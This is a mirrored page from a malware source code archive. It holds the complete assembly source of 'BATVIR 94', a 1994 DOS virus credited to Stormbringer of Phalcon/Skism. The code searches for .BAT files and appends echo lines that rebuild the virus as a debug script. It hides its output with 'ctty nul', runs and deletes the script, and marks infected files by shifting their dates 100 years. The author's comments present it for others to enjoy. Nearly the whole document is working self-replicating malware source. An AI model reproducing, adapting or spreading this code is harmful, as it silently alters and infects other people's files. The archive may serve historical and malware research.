mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-29 22:45:27 +00:00
238 lines
4.9 KiB
NASM
238 lines
4.9 KiB
NASM
; [BATVIR] '94 (c) 1994 Stormbringer [Phalcon/Skism]
|
|
;
|
|
; This virus is a bit cheesy, but hell.... Believe it or not, I got bored
|
|
;enough to write a direct action .BAT infector in assembly. It infects files
|
|
;by basically creating a debug script of itself, echoing it out to a file,
|
|
;then running it using debug to infect more files. I doubt anyone has
|
|
;done this in quite this manner, so....
|
|
;
|
|
;
|
|
;
|
|
;enjoy,
|
|
;Stormbringer [P/S]
|
|
|
|
|
|
.model tiny
|
|
.radix 16
|
|
.code
|
|
org 100
|
|
start:
|
|
mov ah,4e
|
|
mov dx,offset filemask
|
|
|
|
FindFile:
|
|
int 21
|
|
jc NoMoreFiles
|
|
|
|
mov dx,9e
|
|
mov ax,3d02
|
|
int 21
|
|
jc DoneInfect
|
|
xchg bx,ax
|
|
|
|
mov ax,5700
|
|
int 21
|
|
push cx dx
|
|
|
|
cmp dh,80
|
|
jae AlreadyInfected
|
|
|
|
|
|
mov ax,4202
|
|
xor cx,cx
|
|
xor dx,dx
|
|
int 21
|
|
|
|
mov si,100
|
|
mov di,offset end_virus
|
|
mov cx,end_virus-start
|
|
push bx
|
|
call Convert2Hex
|
|
pop bx
|
|
|
|
call InfectBat
|
|
|
|
|
|
pop dx
|
|
add dh,0c8 ;Add 100 years to filedate
|
|
push dx
|
|
|
|
AlreadyInfected:
|
|
pop dx cx
|
|
mov ax,5701
|
|
int 21
|
|
|
|
mov ah,3e
|
|
int 21
|
|
|
|
DoneInfect:
|
|
mov ah,4f
|
|
jmp FindFile
|
|
|
|
NoMoreFiles:
|
|
mov ax,4c00
|
|
int 21
|
|
|
|
|
|
Convert2Hex:
|
|
push cx
|
|
lodsb
|
|
mov bx,ax
|
|
mov cx,4
|
|
shr al,cl
|
|
push ax
|
|
call convert2asc
|
|
stosb
|
|
pop ax
|
|
shl al,cl
|
|
sub bl,al
|
|
xchg al,bl
|
|
call convert2asc
|
|
stosb
|
|
mov ax,' '
|
|
stosb
|
|
pop cx
|
|
loop Convert2hex
|
|
stosb
|
|
stosb
|
|
ret
|
|
|
|
convert2asc:
|
|
cmp al,0a
|
|
jae letter
|
|
add al,'0'
|
|
ret
|
|
letter:
|
|
add al,'A'-0a
|
|
ret
|
|
|
|
InfectBat:
|
|
mov ah,40
|
|
mov dx,offset startinf
|
|
mov cx,endsinf-startinf ;Write start of infection
|
|
int 21
|
|
mov dx,offset end_virus
|
|
|
|
DataLoop:
|
|
push dx
|
|
call calcloc
|
|
call writeecho1
|
|
pop dx
|
|
push dx
|
|
|
|
mov cx,di
|
|
sub cx,dx
|
|
cmp cx,60d
|
|
jb WriteData
|
|
mov cx,60d
|
|
WriteData:
|
|
mov ah,40
|
|
int 21
|
|
|
|
push ax
|
|
call WriteRedirect
|
|
pop ax
|
|
|
|
pop dx
|
|
add dx,ax
|
|
cmp dx,di
|
|
jae WriteGoExitCommands
|
|
jmp DataLoop
|
|
|
|
|
|
WriteGoExitCommands:
|
|
call writeecho2
|
|
|
|
mov ah,40
|
|
mov dx,offset govirus
|
|
mov cx,1
|
|
int 21
|
|
|
|
call WriteRedirect
|
|
call writeecho2
|
|
|
|
mov ah,40
|
|
mov dx,offset govirus+1
|
|
mov cx,1
|
|
int 21
|
|
|
|
call WriteRedirect
|
|
|
|
mov dx,offset batchender
|
|
mov cx,endbatend-batchender
|
|
mov ah,40
|
|
int 21
|
|
|
|
ret
|
|
|
|
WriteRedirect:
|
|
mov dx,offset echodest
|
|
mov cx,endvirusfile-echodest
|
|
mov ah,40
|
|
int 21
|
|
ret
|
|
|
|
WriteEcho1:
|
|
mov cx,enddb-databyte
|
|
jmp short WriteEcho
|
|
WriteEcho2:
|
|
mov cx,5
|
|
WriteEcho:
|
|
mov dx,offset databyte
|
|
mov ah,40
|
|
int 21
|
|
ret
|
|
|
|
|
|
calcloc:
|
|
push ax bx cx dx si di
|
|
sub dx,offset end_virus
|
|
mov ax,dx
|
|
mov cx,3
|
|
xor dx,dx
|
|
div cx
|
|
mov dx,ax
|
|
add dx,100
|
|
mov di,offset temp
|
|
mov si,offset location
|
|
xchg dh,dl
|
|
mov location,dx
|
|
mov cx,2
|
|
call Convert2Hex
|
|
mov di,offset buffer1
|
|
mov si,offset temp
|
|
movsw
|
|
lodsb
|
|
movsw
|
|
pop di si dx cx bx ax
|
|
ret
|
|
|
|
|
|
Filemask db '*.bat',0
|
|
|
|
govirus db 'gq'
|
|
endgovirus:
|
|
|
|
databyte db 'echo e'
|
|
buffer1 db '0100 '
|
|
enddb:
|
|
|
|
echodest db ' >>'
|
|
VirusFile db 'batvir.94',0dh,0a
|
|
EndVirusFile:
|
|
|
|
Batchender db 'debug<batvir.94',0dh,0a ,'del batvir.94',0dh,0a
|
|
db 'ctty con',0dh,0a
|
|
endbatend:
|
|
|
|
startinf:
|
|
db 0dh,0a,'@echo off',0dh,0a
|
|
db 'ctty nul',0dh,0a
|
|
Credits db 'rem [BATVIR] ''94 (c) Stormbringer [P/S]',0dh,0a
|
|
endsinf:
|
|
location dw 0
|
|
temp dw 0,0,0,0
|
|
|
|
end_virus:
|
|
end start
|